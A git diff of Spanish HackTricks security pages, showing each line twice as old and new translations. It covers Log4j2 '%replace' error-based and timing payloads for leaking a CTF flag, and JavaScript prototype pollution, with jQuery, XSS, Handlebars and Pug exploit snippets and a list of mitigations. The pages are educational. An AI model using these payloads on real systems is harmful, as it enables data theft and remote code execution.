El patrón de conversión **`%replace`** se puede usar para **reemplazar** **contenido** de una **cadena** incluso usando **regexes**. Funciona así: `replace{patrón}{regex}{sustitución}`\
|
||||
Abusando de este comportamiento podrías hacer que el **reemplazo desencadene una excepción si el regex coincide** con algo dentro de la cadena (y no habrá excepción si no se encuentra) de esta manera:
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
## and ONLY if it's found ${error} will be resolved with will trigger an exception
|
||||
```
|
||||
* **Basado en tiempo**
|
||||
* **Basado en el tiempo**
|
||||
|
||||
Como se mencionó en la sección anterior, **`%replace`** soporta **regexes**. Por lo tanto, es posible usar un payload de la [**página ReDoS**](../regular-expression-denial-of-service-redos.md) para causar un **timeout** en caso de que se encuentre la bandera.\
|
||||
Por ejemplo, un payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` provocaría un **timeout** en ese CTF.
|
||||
Como se mencionó en la sección anterior, **`%replace`** admite **regexes**. Por lo tanto, es posible utilizar un payload de la [página de ReDoS](../regular-expression-denial-of-service-redos.md) para causar un **tiempo de espera** en caso de encontrar la bandera.\
|
||||
Por ejemplo, un payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` desencadenaría un **tiempo de espera** en ese CTF.
|
||||
|
||||
En este [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), en lugar de usar un ataque ReDoS, se utilizó un **ataque de amplificación** para causar una diferencia de tiempo en la respuesta:
|
||||
|
||||
|
|
@ -427,9 +430,9 @@ En este [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
|
|||
> }{#}{######################################################}
|
||||
> ```
|
||||
>
|
||||
> Si la bandera comienza con `flagGuess`, toda la bandera se reemplaza con 29 `#` (utilicé este carácter porque probablemente no sería parte de la bandera). **Cada uno de los 29 `#` resultantes se reemplaza entonces por 54 `#`**. Este proceso se repite **6 veces**, lo que lleva a un total de `29*54*54^6* =`` `` `**`96816014208` `#`-s!**
|
||||
> Si la bandera comienza con `flagGuess`, toda la bandera se reemplaza con 29 `#`-s (usé este carácter porque probablemente no formaría parte de la bandera). **Cada uno de los 29 `#`-s resultantes luego es reemplazado por 54 `#`-s**. Este proceso se repite **6 veces**, lo que lleva a un total de ` 29*54*54^6* =`` `` `**`96816014208` `#`-s!**
|
||||
>
|
||||
> Reemplazar tantos `#` provocará el timeout de 10 segundos de la aplicación Flask, lo que a su vez resultará en el código de estado HTTP 500 que se enviará al usuario. (Si la bandera no comienza con `flagGuess`, recibiremos un código de estado que no es 500)
|
||||
> Reemplazar tantos `#`-s desencadenará el tiempo de espera de 10 segundos de la aplicación Flask, lo que a su vez resultará en el envío del código de estado HTTP 500 al usuario. (Si la bandera no comienza con `flagGuess`, recibiremos un código de estado no 500)
|
||||
|
||||
## Referencias
|
||||
|
||||
|
|
@ -444,7 +447,7 @@ En este [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
|
|||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que más importan para poder arreglarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
|
@ -455,10 +458,10 @@ Encuentra vulnerabilidades que más importan para poder arreglarlas más rápido
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
|
|
@ -16,130 +16,114 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
## Objetos en JavaScript <a href="#053a" id="053a"></a>
|
||||
|
||||
En primer lugar, necesitamos entender `Object` en JavaScript. Un objeto es simplemente una colección de pares clave-valor, a menudo llamados propiedades de ese objeto. Por ejemplo:
|
||||
|
||||
 (1).png>)
|
||||
|
||||
En JavaScript, `Object` es un objeto básico, la plantilla para todos los objetos recién creados. Es posible crear un objeto vacío pasando `null` a `Object.create`. Sin embargo, el objeto recién creado también tendrá un tipo que corresponde al parámetro pasado y heredará todas las propiedades básicas.
|
||||
Los objetos en JavaScript son esencialmente colecciones de pares clave-valor, conocidos como propiedades. Un objeto puede crearse utilizando `Object.create` con `null` como argumento para producir un objeto vacío. Este método permite la creación de un objeto sin propiedades heredadas.
|
||||
```javascript
|
||||
console.log(Object.create(null)); // prints an empty object
|
||||
// Run this in the developers tools console
|
||||
console.log(Object.create(null)); // This will output an empty object.
|
||||
```
|
||||
.png>)
|
||||
Un objeto vacío es similar a un diccionario vacío, representado como `{}`.
|
||||
|
||||
Anteriormente aprendimos que un Objeto en javascript es una colección de claves y valores, por lo que tiene sentido que un objeto `null` sea simplemente un diccionario vacío: `{}`
|
||||
### Funciones y Clases en JavaScript
|
||||
|
||||
## Funciones / Clases en Javascript <a href="#55dd" id="55dd"></a>
|
||||
|
||||
En Javascript, los conceptos de la clase y la función están bastante interrelacionados (la función en sí actúa como el constructor de la clase y la naturaleza real no tiene concepto de "clase" en javascript). Veamos el siguiente ejemplo:
|
||||
En JavaScript, las clases y las funciones están estrechamente vinculadas, con las funciones a menudo sirviendo como constructores para las clases. A pesar de la falta de soporte nativo de clases en JavaScript, los constructores pueden emular el comportamiento de una clase.
|
||||
```javascript
|
||||
function person(fullName, age) {
|
||||
this.age = age;
|
||||
this.fullName = fullName;
|
||||
this.details = function() {
|
||||
return this.fullName + " has age: " + this.age;
|
||||
// Run this in the developers tools console
|
||||
|
||||
function Employee(name, position) {
|
||||
this.name = name;
|
||||
this.position = position;
|
||||
this.introduce = function() {
|
||||
return "My name is " + this.name + " and I work as a " + this.position + ".";
|
||||
}
|
||||
}
|
||||
|
||||
Employee.prototype
|
||||
|
||||
var employee1 = new Employee("Generic Employee", "Developer");
|
||||
|
||||
employee1.__proto__
|
||||
```
|
||||
.png>)
|
||||
```javascript
|
||||
var person1 = new person("Satoshi", 70);
|
||||
```
|
||||
.png>)
|
||||
### Prototipos en JavaScript
|
||||
|
||||
## Prototipos en JavaScript <a href="#3843" id="3843"></a>
|
||||
JavaScript permite la modificación, adición o eliminación de atributos de prototipo en tiempo de ejecución. Esta flexibilidad permite la extensión dinámica de las funcionalidades de una clase.
|
||||
|
||||
Una cosa a tener en cuenta es que el atributo prototype puede ser cambiado/modificado/eliminado al ejecutar el código. Por ejemplo, las funciones de la clase pueden ser añadidas dinámicamente:
|
||||
|
||||
.png>)
|
||||
|
||||
Las funciones de la clase también pueden ser modificadas (como `toString` o `valueOf` en los siguientes casos):
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
Funciones como `toString` y `valueOf` pueden ser alteradas para cambiar su comportamiento, demostrando la naturaleza adaptable del sistema de prototipos de JavaScript.
|
||||
|
||||
## Herencia
|
||||
|
||||
En un programa basado en prototipos, los objetos heredan propiedades/métodos de las clases. Las clases se derivan añadiendo propiedades/métodos a una instancia de otra clase o añadiéndolos a un objeto vacío.
|
||||
En la programación basada en prototipos, las propiedades/métodos son heredados por objetos de clases. Estas clases se crean añadiendo propiedades/métodos a una instancia de otra clase o a un objeto vacío.
|
||||
|
||||
Ten en cuenta que, si añades una propiedad a un objeto que se utiliza como prototipo para un conjunto de objetos (como el myPersonObj), los objetos para los que es el prototipo también obtienen la nueva propiedad, pero esa propiedad no se imprime a menos que se llame específicamente.
|
||||
|
||||
.png>)
|
||||
Cabe destacar que cuando se añade una propiedad a un objeto que sirve como prototipo para otros objetos (como `myPersonObj`), los objetos que heredan obtienen acceso a esta nueva propiedad. Sin embargo, esta propiedad no se muestra automáticamente a menos que se invoque explícitamente.
|
||||
|
||||
## Contaminación de \_\_proto\_\_ <a href="#0d0a" id="0d0a"></a>
|
||||
|
||||
Ya deberías haber aprendido que **cada objeto en JavaScript es simplemente una colección de pares clave y valor** y que **cada objeto hereda del tipo Object en JavaScript**. Esto significa que si eres capaz de contaminar el tipo Object **¡cada objeto JavaScript del entorno será contaminado!**
|
||||
## Explorando la Contaminación de Prototipos en JavaScript
|
||||
|
||||
Esto es bastante simple, solo necesitas ser capaz de modificar algunas propiedades (pares clave-valor) de un objeto JavaScript arbitrario, porque como cada objeto hereda de Object, cada objeto puede acceder al esquema de Object.
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
```
|
||||
A partir del ejemplo anterior, es posible acceder a la estructura del objeto utilizando las siguientes formas:
|
||||
```javascript
|
||||
person1.__proto__.__proto__
|
||||
person.__proto__.__proto__
|
||||
```
|
||||
Entonces, como se mencionó anteriormente, si ahora se agrega una propiedad al esquema del objeto, todos los objetos de JavaScript tendrán acceso a la nueva propiedad:
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
//Add function as new property
|
||||
person1.__proto__.__proto__.printHello = function(){console.log("Hello");}
|
||||
person1.printHello() //This now works and prints hello
|
||||
//Add constant as new property
|
||||
person1.__proto__.__proto__.globalconstant = true
|
||||
person1.globalconstant //This now works and is "true"
|
||||
```
|
||||
Entonces, cada objeto JS contendrá las nuevas propiedades: la función `printHello` y la nueva constante `globalconstant`
|
||||
Los objetos de JavaScript están definidos por pares clave-valor y heredan del prototipo de objeto de JavaScript. Esto significa que alterar el prototipo de objeto puede influir en todos los objetos en el entorno.
|
||||
|
||||
Veamos un ejemplo diferente para ilustrar:
|
||||
```javascript
|
||||
function Vehicle(model) {
|
||||
this.model = model;
|
||||
}
|
||||
var car1 = new Vehicle("Tesla Model S");
|
||||
```
|
||||
El acceso al prototipo de Object es posible a través de:
|
||||
```javascript
|
||||
car1.__proto__.__proto__;
|
||||
Vehicle.__proto__.__proto__;
|
||||
```
|
||||
Al agregar propiedades al prototipo Object, todos los objetos de JavaScript heredarán estas nuevas propiedades:
|
||||
```javascript
|
||||
function Vehicle(model) {
|
||||
this.model = model;
|
||||
}
|
||||
var car1 = new Vehicle("Tesla Model S");
|
||||
// Adding a method to the Object prototype
|
||||
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
|
||||
car1.announce(); // Outputs "Beep beep!"
|
||||
// Adding a property to the Object prototype
|
||||
car1.__proto__.__proto__.isVehicle = true;
|
||||
console.log(car1.isVehicle); // Outputs true
|
||||
```
|
||||
## contaminación de prototipos
|
||||
|
||||
Esta técnica no es tan efectiva como la anterior ya que no puedes contaminar el esquema de un objeto JS. Pero en casos donde la **palabra clave `__proto__` está prohibida, esta técnica puede ser útil**.
|
||||
|
||||
Si puedes modificar las propiedades de una función, puedes modificar la propiedad `prototype` de la función y **cada nueva propiedad que agregues aquí será heredada por cada objeto creado a partir de esa función:**
|
||||
Para un escenario donde el uso de `__proto__` está restringido, modificar el prototipo de una función es una alternativa:
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
function Vehicle(model) {
|
||||
this.model = model;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
//Add function as new property
|
||||
person.prototype.sayHello = function(){console.log("Hello");}
|
||||
person1.sayHello() //This now works and prints hello
|
||||
//Add constant as new property
|
||||
person.prototype.newConstant = true
|
||||
person1.newConstant //This now works and is "true"
|
||||
var car1 = new Vehicle("Tesla Model S");
|
||||
// Adding properties to the Vehicle prototype
|
||||
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
|
||||
car1.beep(); // Now works and outputs "Beep beep!"
|
||||
Vehicle.prototype.hasWheels = true;
|
||||
console.log(car1.hasWheels); // Outputs true
|
||||
|
||||
//The same could be achieved using this other way:
|
||||
person1.constructor.prototype.sayHello = function(){console.log("Hello");}
|
||||
person1.constructor.prototype.newConstant = true
|
||||
// Alternate method
|
||||
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
|
||||
car1.constructor.prototype.isElectric = true;
|
||||
```
|
||||
En este caso solo se verán afectados los **objetos creados a partir de la clase `person`**, pero cada uno de ellos ahora **heredará las propiedades `sayHello` y `newConstant`**.
|
||||
Esto afecta solo a los objetos creados a partir del constructor `Vehicle`, dándoles las propiedades `beep`, `hasWheels`, `honk` e `isElectric`.
|
||||
|
||||
**Hay 2 formas de abusar de la contaminación de prototipos para envenenar CADA objeto JS.**
|
||||
Dos métodos para afectar globalmente a los objetos JavaScript a través de la contaminación del prototipo incluyen:
|
||||
|
||||
La primera sería contaminar el prototipo de la propiedad de **Object** (como se mencionó anteriormente, todos los objetos JS heredan de este):
|
||||
1. Contaminando directamente el `Object.prototype`:
|
||||
```javascript
|
||||
Object.prototype.sayBye = function(){console.log("bye!")}
|
||||
Object.prototype.goodbye = function() { console.log("Goodbye!"); };
|
||||
```
|
||||
Si logras hacer eso, cada objeto JS podrá ejecutar la función `sayBye`.
|
||||
|
||||
Otra forma es envenenar el prototipo de un constructor de una variable de diccionario como en el siguiente ejemplo:
|
||||
2. Contaminando el prototipo de un constructor para una estructura comúnmente utilizada:
|
||||
```javascript
|
||||
something = {"a": "b"}
|
||||
something.constructor.prototype.sayHey = function(){console.log("Hey!")}
|
||||
var example = {"key": "value"};
|
||||
example.constructor.prototype.greet = function() { console.log("Hello!"); };
|
||||
```
|
||||
Después de ejecutar ese código, **cada objeto JS podrá ejecutar la función `sayHey`**.
|
||||
Después de estas operaciones, cada objeto JavaScript puede ejecutar los métodos `goodbye` y `greet`.
|
||||
|
||||
## Contaminando otros objetos
|
||||
|
||||
### De una clase a Object.prototype
|
||||
|
||||
En un escenario donde puedes **contaminar un objeto específico** y necesitas **llegar a `Object.prototype`** puedes buscarlo con un código similar al siguiente:
|
||||
En un escenario donde puedes **contaminar un objeto específico** y necesitas **llegar a `Object.prototype`** puedes buscarlo con algo como el siguiente código:
|
||||
```javascript
|
||||
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
|
||||
|
||||
|
|
@ -193,70 +177,59 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
|
|||
|
||||
### Ejemplo Básico
|
||||
|
||||
Entonces, ¿dónde está la contaminación del prototipo? Sucede cuando hay un error en la aplicación que permite sobrescribir propiedades de `Object.prototype`. Dado que cada objeto típico hereda sus propiedades de `Object.prototype`, podemos cambiar el comportamiento de la aplicación. El ejemplo más comúnmente mostrado es el siguiente:
|
||||
Una contaminación de prototipo ocurre debido a una falla en la aplicación que permite sobrescribir propiedades en `Object.prototype`. Esto significa que dado que la mayoría de los objetos derivan sus propiedades de `Object.prototype`
|
||||
|
||||
El ejemplo más sencillo es agregar un valor a un **atributo no definido de un objeto** que va a ser verificado, como:
|
||||
```javascript
|
||||
if (user.isAdmin) { // do something important!}
|
||||
if (user.admin) {
|
||||
```
|
||||
Imaginemos que tenemos una contaminación de prototipos que hace posible establecer `Object.prototype.isAdmin = true`. ¡Entonces, a menos que la aplicación asigne explícitamente algún valor, `user.isAdmin` siempre es verdadero!
|
||||
Si el atributo **`admin` está sin definir**, es posible abusar de una PP y establecerlo en Verdadero con algo como:
|
||||
```javascript
|
||||
Object.prototype.isAdmin = true
|
||||
let user = {}
|
||||
user.isAdmin // true
|
||||
```
|
||||
El mecanismo detrás de esto implica manipular propiedades de tal manera que si un atacante tiene control sobre ciertas entradas, pueden modificar el prototipo de todos los objetos en la aplicación. Esta manipulación generalmente implica establecer la propiedad `__proto__`, que, en JavaScript, es sinónimo de modificar directamente el prototipo de un objeto.
|
||||
|
||||
|
||||
Las condiciones bajo las cuales este ataque puede ejecutarse con éxito, como se describe en un [estudio](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) específico, incluyen:
|
||||
|
||||
Por ejemplo, `obj[a][b] = value`. Si el atacante puede controlar el valor de `a` y `value`, entonces solo necesita ajustar el valor de `a` a `__proto__` (en JavaScript, `obj["__proto__"]` y `obj.__proto__` son completamente equivalentes) luego la propiedad `b` de todos los objetos existentes en la aplicación se asignará a `value`.
|
||||
- Realizar una fusión recursiva.
|
||||
- Definir propiedades basadas en una ruta.
|
||||
- Clonar objetos.
|
||||
|
||||
Sin embargo, el ataque no es tan simple como el anterior, según [documento](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf), solo podemos atacar cuando se cumple una de las siguientes tres condiciones:
|
||||
|
||||
* Realizar una fusión recursiva
|
||||
* Definición de propiedad por ruta
|
||||
* Clonar objeto
|
||||
|
||||
### Anular función
|
||||
### Función de anulación
|
||||
```python
|
||||
customer.__proto__.toString = ()=>{alert("polluted")}
|
||||
```
|
||||
### Contaminación de Prototipo a RCE
|
||||
### Contaminación de Prototipos a RCE
|
||||
|
||||
{% content-ref url="prototype-pollution-to-rce.md" %}
|
||||
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Contaminación de Prototipo del lado del cliente a XSS
|
||||
## Contaminación de prototipos del lado del cliente a XSS
|
||||
|
||||
{% content-ref url="client-side-prototype-pollution.md" %}
|
||||
[client-side-prototype-pollution.md](client-side-prototype-pollution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CVE-2019–11358: Ataque de contaminación de prototipo a través de jQuery $ .extend
|
||||
### CVE-2019–11358: Ataque de contaminación de prototipos a través de jQuery $ .extend
|
||||
|
||||
$ .extend, si se maneja incorrectamente, puede cambiar las propiedades del objeto `prototype` (la plantilla de los objetos en la aplicación). Esta propiedad luego aparecerá en todos los objetos. Tenga en cuenta que solo la versión "profunda" (es decir, g) de $ .extened se ve afectada.
|
||||
|
||||
Los programadores a menudo usan esta función para duplicar un objeto o completar nuevas propiedades a partir de un objeto predeterminado. Por ejemplo:
|
||||
|
||||
Podemos imaginar que `myObject` es un campo de entrada del usuario y se serializa en la base de datos)
|
||||
|
||||
En este código, a menudo pensamos que, al ejecutarlo, asignará el atributo `isAdmin` al objeto recién creado. Pero esencialmente, se asigna directamente a `{}` y luego `{}.isAdmin` será `true`. Si después de este código, realizamos la siguiente verificación:
|
||||
[Para más detalles, consulta este artículo](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
En jQuery, la función `$ .extend` puede llevar a la contaminación de prototipos si se utiliza incorrectamente la función de copia profunda. Esta función se utiliza comúnmente para clonar objetos o fusionar propiedades de un objeto predeterminado. Sin embargo, cuando está mal configurada, las propiedades destinadas a un nuevo objeto pueden asignarse al prototipo en su lugar. Por ejemplo:
|
||||
```javascript
|
||||
If (user.isAdmin === true) {
|
||||
// do something for admin
|
||||
}
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
|
||||
console.log({}.devMode); // Outputs: true
|
||||
```
|
||||
Si el usuario aún no ha existido (`undefined`), la propiedad `isAdmin` se buscará en su objeto padre, que es el objeto al que se le agregó `isAdmin` con el valor `true` arriba.
|
||||
Esta vulnerabilidad, identificada como CVE-2019–11358, ilustra cómo una copia profunda puede modificar inadvertidamente el prototipo, lo que lleva a posibles riesgos de seguridad, como acceso de administrador no autorizado si propiedades como `isAdmin` se verifican sin una verificación adecuada de existencia.
|
||||
|
||||
Otro ejemplo al ejecutarse en JQuery 3.3.1:
|
||||
```javascript
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
||||
console.log({}.devMode); // true
|
||||
```
|
||||
Estos errores pueden afectar a muchos proyectos de Javascript, especialmente a los proyectos de NodeJS, el ejemplo más práctico es el error en Mongoose, la biblioteca JS que ayuda a manipular MongoDB, en diciembre de 2018.
|
||||
|
||||
### CVE-2018–3721, CVE-2019–10744: Ataque de polución de prototipos a través de lodash
|
||||
|
||||
[Lodash](https://www.npmjs.com/package/lodash) es también una biblioteca conocida que proporciona muchas funciones diferentes, ayudándonos a escribir código de manera más conveniente y ordenada con más de 19 millones de descargas semanales. Y tuvo el mismo problema que JQuery.
|
||||
[Para más detalles, consulta este artículo](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
|
||||
**CVE-2018–3721**
|
||||
|
||||
**CVE-2019–10744**
|
||||
|
||||
Este error afecta a todas las versiones de Lodash, ya corregido en la versión 4.17.11.
|
||||
[Lodash](https://www.npmjs.com/package/lodash) encontró vulnerabilidades similares de polución de prototipos (CVE-2018–3721, CVE-2019–10744). Estos problemas se abordaron en la versión 4.17.11.
|
||||
|
||||
### Otro tutorial con CVEs
|
||||
|
||||
|
|
@ -268,17 +241,17 @@ NodeJS utiliza extensamente Árboles de Sintaxis Abstracta (AST) en JavaScript p
|
|||
|
||||
#### Análisis de Vulnerabilidad de Handlebars
|
||||
|
||||
El motor de plantillas Handlebars puede ser explotado para la polución de prototipos. La vulnerabilidad se encuentra principalmente en las funciones `appendContent` y `pushSource` en el archivo `javascript-compiler.js`, donde `appendContent` concatena `pendingContent` si existe, y `pushSource` establece `pendingContent` en `undefined` después de empujar la fuente.
|
||||
El motor de plantillas Handlebars es susceptible a un ataque de polución de prototipos. Esta vulnerabilidad surge de funciones específicas dentro del archivo `javascript-compiler.js`. La función `appendContent`, por ejemplo, concatena `pendingContent` si está presente, mientras que la función `pushSource` restablece `pendingContent` a `undefined` después de agregar la fuente.
|
||||
|
||||
##### Proceso de Explotación
|
||||
|
||||
La explotación implica la manipulación del AST generado por Handlebars. El proceso es el siguiente:
|
||||
La explotación aprovecha el AST (Árbol de Sintaxis Abstracta) producido por Handlebars, siguiendo estos pasos:
|
||||
|
||||
1. **Manipulación del Analizador**: El analizador, a través del nodo `NumberLiteral`, fuerza que los valores sean números. Sin embargo, esto puede ser eludido por la polución de prototipos, permitiendo la inserción de cadenas no numéricas.
|
||||
2. **Manejo del Compilador**: El compilador acepta un Objeto AST o una cadena de plantilla. Si `input.type` es `Program`, se considera que la entrada está preanalizada, lo que lleva a una posible explotación.
|
||||
3. **Inyección de Código**: Al manipular `Object.prototype`, se puede inyectar código arbitrario en la función de plantilla, lo que lleva a una posible ejecución remota de código.
|
||||
1. **Manipulación del Analizador**: Inicialmente, el analizador, a través del nodo `NumberLiteral`, obliga a que los valores sean numéricos. La polución de prototipos puede eludir esto, permitiendo la inserción de cadenas no numéricas.
|
||||
2. **Manejo por el Compilador**: El compilador puede procesar un Objeto AST o una plantilla de cadena. Si `input.type` es igual a `Program`, la entrada se trata como preanalizada, lo que puede ser explotado.
|
||||
3. **Inyección de Código**: A través de la manipulación de `Object.prototype`, se puede inyectar código arbitrario en la función de plantilla, lo que puede llevar a la ejecución remota de código.
|
||||
|
||||
Ejemplo de explotación de la vulnerabilidad de Handlebars:
|
||||
Un ejemplo que demuestra la explotación de la vulnerabilidad de Handlebars:
|
||||
```javascript
|
||||
const Handlebars = require('handlebars');
|
||||
|
||||
|
|
@ -301,11 +274,13 @@ const template = Handlebars.precompile(source);
|
|||
|
||||
console.log(eval('(' + template + ')')['main'].toString());
|
||||
```
|
||||
El código anterior demuestra cómo un atacante puede inyectar código arbitrario en una plantilla de Handlebars.
|
||||
Este código muestra cómo un atacante podría inyectar código arbitrario en una plantilla Handlebars.
|
||||
|
||||
**Referencia Externa**: [Problema relacionado con la contaminación del prototipo en la biblioteca 'flat'](https://github.com/hughsk/flat/issues/105)
|
||||
**Referencia Externa**: Se encontró un problema relacionado con la contaminación de prototipos en la biblioteca 'flat', como se detalla aquí: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
|
||||
|
||||
Ejemplo de contaminación del prototipo en Python:
|
||||
**Referencia Externa**: [Issue relacionado con la contaminación de prototipos en la biblioteca 'flat'](https://github.com/hughsk/flat/issues/105)
|
||||
|
||||
Ejemplo de explotación de contaminación de prototipos en Python:
|
||||
```python
|
||||
import requests
|
||||
|
||||
|
|
@ -333,7 +308,7 @@ requests.get(TARGET_URL)
|
|||
```
|
||||
#### Vulnerabilidad en Pug
|
||||
|
||||
Al igual que Handlebars, Pug también puede ser explotado a través de la contaminación de prototipos. Más información se puede encontrar en [Inyección AST en Pug](https://blog.p6.is/AST-Injection/#Pug).
|
||||
Pug, otro motor de plantillas, enfrenta un riesgo similar de contaminación de prototipos. Información detallada está disponible en la discusión sobre [Inyección AST en Pug](https://blog.p6.is/AST-Injection/#Pug).
|
||||
|
||||
Ejemplo de contaminación de prototipos en Pug:
|
||||
```python
|
||||
|
|
@ -354,16 +329,19 @@ requests.get(TARGET_URL)
|
|||
```
|
||||
### Medidas Preventivas
|
||||
|
||||
Para mitigar el riesgo de la contaminación de prototipos, considere las siguientes estrategias:
|
||||
|
||||
1. **Inmutabilidad de Objetos**: Utilice `Object.freeze` para hacer que `Object.prototype` sea inmutable.
|
||||
2. **Validación de Entradas**: Valide estrictamente las entradas JSON basadas en el esquema de la aplicación.
|
||||
3. **Funciones de Fusión Seguras**: Evite el uso inseguro de funciones de fusión recursivas.
|
||||
4. **Objetos sin Prototipo**: Utilice `Object.create(null)` para crear objetos sin propiedades de prototipo.
|
||||
5. **Uso de Mapa**: Opte por `Map` en lugar de `Object` para pares clave-valor.
|
||||
6. **Actualizaciones de Bibliotecas**: Actualice regularmente las bibliotecas para incorporar parches de seguridad.
|
||||
|
||||
Para reducir el riesgo de la contaminación de prototipos, se pueden emplear las estrategias enumeradas a continuación:
|
||||
|
||||
1. **Inmutabilidad de Objetos**: El `Object.prototype` puede hacerse inmutable aplicando `Object.freeze`.
|
||||
2. **Validación de Entradas**: Las entradas JSON deben ser rigurosamente validadas contra el esquema de la aplicación.
|
||||
3. **Funciones de Fusión Seguras**: Se debe evitar el uso inseguro de funciones de fusión recursivas.
|
||||
4. **Objetos sin Prototipo**: Se pueden crear objetos sin propiedades de prototipo utilizando `Object.create(null)`.
|
||||
5. **Uso de Mapas**: En lugar de `Object`, se debe usar `Map` para almacenar pares clave-valor.
|
||||
6. **Actualizaciones de Bibliotecas**: Se pueden incorporar parches de seguridad actualizando regularmente las bibliotecas.
|
||||
7. **Herramientas de Linter y Análisis Estático**: Utilice herramientas como ESLint con complementos apropiados para detectar y prevenir vulnerabilidades de contaminación de prototipos.
|
||||
8. **Revisiones de Código**: Implemente revisiones de código exhaustivas para identificar y remediar posibles riesgos relacionados con la contaminación de prototipos.
|
||||
9. **Formación en Seguridad**: Eduque a los desarrolladores sobre los riesgos de la contaminación de prototipos y las mejores prácticas para escribir código seguro.
|
||||
10. **Uso Cauteloso de Bibliotecas**: Sea cauteloso al usar bibliotecas de terceros. Evalúe su postura de seguridad y revise su código, especialmente aquellos que manipulan objetos.
|
||||
11. **Protección en Tiempo de Ejecución**: Emplee mecanismos de protección en tiempo de ejecución, como el uso de paquetes npm centrados en la seguridad que pueden detectar y prevenir ataques de contaminación de prototipos.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
|
@ -374,12 +352,12 @@ Para mitigar el riesgo de la contaminación de prototipos, considere las siguien
|
|||
|
||||
<details>
|
||||
|
||||
